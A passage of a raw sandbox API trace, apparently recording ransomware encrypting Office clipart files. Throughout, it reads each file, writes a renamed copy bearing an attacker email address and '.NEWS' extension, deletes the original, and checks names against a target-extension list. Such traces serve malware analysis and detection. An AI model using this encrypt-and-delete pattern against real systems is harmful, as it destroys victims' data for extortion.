(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 1 [0093.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0093.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0093.695] lstrlenW (lpString=".doc") returned 4 [0093.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.695] lstrlenW (lpString=".docx") returned 5 [0093.695] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0093.695] lstrlenW (lpString=".pdf") returned 4 [0093.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.695] lstrlenW (lpString=".xls") returned 4 [0093.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.696] lstrlenW (lpString=".xlsx") returned 5 [0093.696] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0093.696] lstrlenW (lpString=".ppt") returned 4 [0093.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0093.696] lstrlenW (lpString=".zip") returned 4 [0093.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.696] lstrlenW (lpString=".rar") returned 4 [0093.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.696] lstrlenW (lpString=".bz2") returned 4 [0093.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.696] lstrlenW (lpString=".7z") returned 3 [0093.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0093.696] lstrlenW (lpString=".dbf") returned 4 [0093.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0093.696] lstrlenW (lpString=".1cd") returned 4 [0093.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0093.696] lstrlenW (lpString=".jpg") returned 4 [0093.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0093.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0093.696] lstrlenW (lpString=".doc") returned 4 [0093.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.696] lstrlenW (lpString=".docx") returned 5 [0093.696] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0093.696] lstrlenW (lpString=".pdf") returned 4 [0093.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.696] lstrlenW (lpString=".xls") returned 4 [0093.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.696] lstrlenW (lpString=".xlsx") returned 5 [0093.696] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0093.696] lstrlenW (lpString=".ppt") returned 4 [0093.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0093.697] lstrlenW (lpString=".zip") returned 4 [0093.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.697] lstrlenW (lpString=".rar") returned 4 [0093.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.697] lstrlenW (lpString=".bz2") returned 4 [0093.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.697] lstrlenW (lpString=".7z") returned 3 [0093.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0093.697] lstrlenW (lpString=".dbf") returned 4 [0093.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0093.697] lstrlenW (lpString=".1cd") returned 4 [0093.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0093.697] lstrlenW (lpString=".jpg") returned 4 [0093.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.697] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.697] lstrlenW (lpString="J0105266.WMF") returned 12 [0093.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0093.765] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=5908) returned 1 [0093.765] CloseHandle (hObject=0x398) returned 1 [0093.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 0x220 [0093.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0093.776] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.776] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0093.777] GetLastError () returned 0x0 [0093.777] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1714, lpOverlapped=0x0) returned 1 [0093.779] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1720, lpOverlapped=0x0) returned 1 [0093.779] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.780] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.780] SetEndOfFile (hFile=0x37c) returned 1 [0093.780] CloseHandle (hObject=0x37c) returned 1 [0093.780] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.780] SetEndOfFile (hFile=0x398) returned 1 [0093.781] CloseHandle (hObject=0x398) returned 1 [0093.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 1 [0093.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0093.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0093.781] lstrlenW (lpString=".doc") returned 4 [0093.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.781] lstrlenW (lpString=".docx") returned 5 [0093.781] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0093.781] lstrlenW (lpString=".pdf") returned 4 [0093.781] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.781] lstrlenW (lpString=".xls") returned 4 [0093.781] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.781] lstrlenW (lpString=".xlsx") returned 5 [0093.781] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0093.781] lstrlenW (lpString=".ppt") returned 4 [0093.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0093.782] lstrlenW (lpString=".zip") returned 4 [0093.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.782] lstrlenW (lpString=".rar") returned 4 [0093.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.782] lstrlenW (lpString=".bz2") returned 4 [0093.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.782] lstrlenW (lpString=".7z") returned 3 [0093.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0093.782] lstrlenW (lpString=".dbf") returned 4 [0093.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0093.782] lstrlenW (lpString=".1cd") returned 4 [0093.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0093.782] lstrlenW (lpString=".jpg") returned 4 [0093.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0093.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0093.782] lstrlenW (lpString=".doc") returned 4 [0093.782] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.782] lstrlenW (lpString=".docx") returned 5 [0093.782] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0093.782] lstrlenW (lpString=".pdf") returned 4 [0093.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.782] lstrlenW (lpString=".xls") returned 4 [0093.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.782] lstrlenW (lpString=".xlsx") returned 5 [0093.782] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0093.782] lstrlenW (lpString=".ppt") returned 4 [0093.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0093.782] lstrlenW (lpString=".zip") returned 4 [0093.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.782] lstrlenW (lpString=".rar") returned 4 [0093.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.783] lstrlenW (lpString=".bz2") returned 4 [0093.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.783] lstrlenW (lpString=".7z") returned 3 [0093.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0093.783] lstrlenW (lpString=".dbf") returned 4 [0093.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0093.783] lstrlenW (lpString=".1cd") returned 4 [0093.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0093.783] lstrlenW (lpString=".jpg") returned 4 [0093.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.783] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.783] lstrlenW (lpString="J0105294.WMF") returned 12 [0093.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0093.784] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=5504) returned 1 [0093.784] CloseHandle (hObject=0x398) returned 1 [0093.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 0x220 [0093.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0093.784] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.784] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0093.785] GetLastError () returned 0x0 [0093.785] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1580, lpOverlapped=0x0) returned 1 [0093.786] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1590, lpOverlapped=0x0) returned 1 [0093.787] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.787] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.787] SetEndOfFile (hFile=0x37c) returned 1 [0093.787] CloseHandle (hObject=0x37c) returned 1 [0093.788] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.788] SetEndOfFile (hFile=0x398) returned 1 [0093.788] CloseHandle (hObject=0x398) returned 1 [0093.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 1 [0093.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0093.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0093.789] lstrlenW (lpString=".doc") returned 4 [0093.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.789] lstrlenW (lpString=".docx") returned 5 [0093.789] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0093.789] lstrlenW (lpString=".pdf") returned 4 [0093.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.789] lstrlenW (lpString=".xls") returned 4 [0093.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.789] lstrlenW (lpString=".xlsx") returned 5 [0093.789] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0093.789] lstrlenW (lpString=".ppt") returned 4 [0093.789] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0093.789] lstrlenW (lpString=".zip") returned 4 [0093.789] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.789] lstrlenW (lpString=".rar") returned 4 [0093.789] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.789] lstrlenW (lpString=".bz2") returned 4 [0093.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.789] lstrlenW (lpString=".7z") returned 3 [0093.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0093.789] lstrlenW (lpString=".dbf") returned 4 [0093.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0093.790] lstrlenW (lpString=".1cd") returned 4 [0093.790] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0093.790] lstrlenW (lpString=".jpg") returned 4 [0093.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0093.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0093.790] lstrlenW (lpString=".doc") returned 4 [0093.790] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.790] lstrlenW (lpString=".docx") returned 5 [0093.790] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0093.790] lstrlenW (lpString=".pdf") returned 4 [0093.790] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.790] lstrlenW (lpString=".xls") returned 4 [0093.790] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.790] lstrlenW (lpString=".xlsx") returned 5 [0093.790] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0093.790] lstrlenW (lpString=".ppt") returned 4 [0093.790] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0093.790] lstrlenW (lpString=".zip") returned 4 [0093.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.790] lstrlenW (lpString=".rar") returned 4 [0093.790] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.790] lstrlenW (lpString=".bz2") returned 4 [0093.790] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.790] lstrlenW (lpString=".7z") returned 3 [0093.790] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0093.790] lstrlenW (lpString=".dbf") returned 4 [0093.790] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0093.790] lstrlenW (lpString=".1cd") returned 4 [0093.790] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0093.790] lstrlenW (lpString=".jpg") returned 4 [0093.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.791] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.791] lstrlenW (lpString="J0105298.WMF") returned 12 [0093.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0093.792] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=6320) returned 1 [0093.792] CloseHandle (hObject=0x398) returned 1 [0093.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 0x220 [0093.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0093.792] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.792] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0093.792] GetLastError () returned 0x0 [0093.793] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x18b0, lpOverlapped=0x0) returned 1 [0093.794] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x18c0, lpOverlapped=0x0) returned 1 [0093.795] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.795] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.795] SetEndOfFile (hFile=0x37c) returned 1 [0093.795] CloseHandle (hObject=0x37c) returned 1 [0093.795] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.795] SetEndOfFile (hFile=0x398) returned 1 [0093.796] CloseHandle (hObject=0x398) returned 1 [0093.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.796] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 1 [0093.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0093.797] lstrlenW 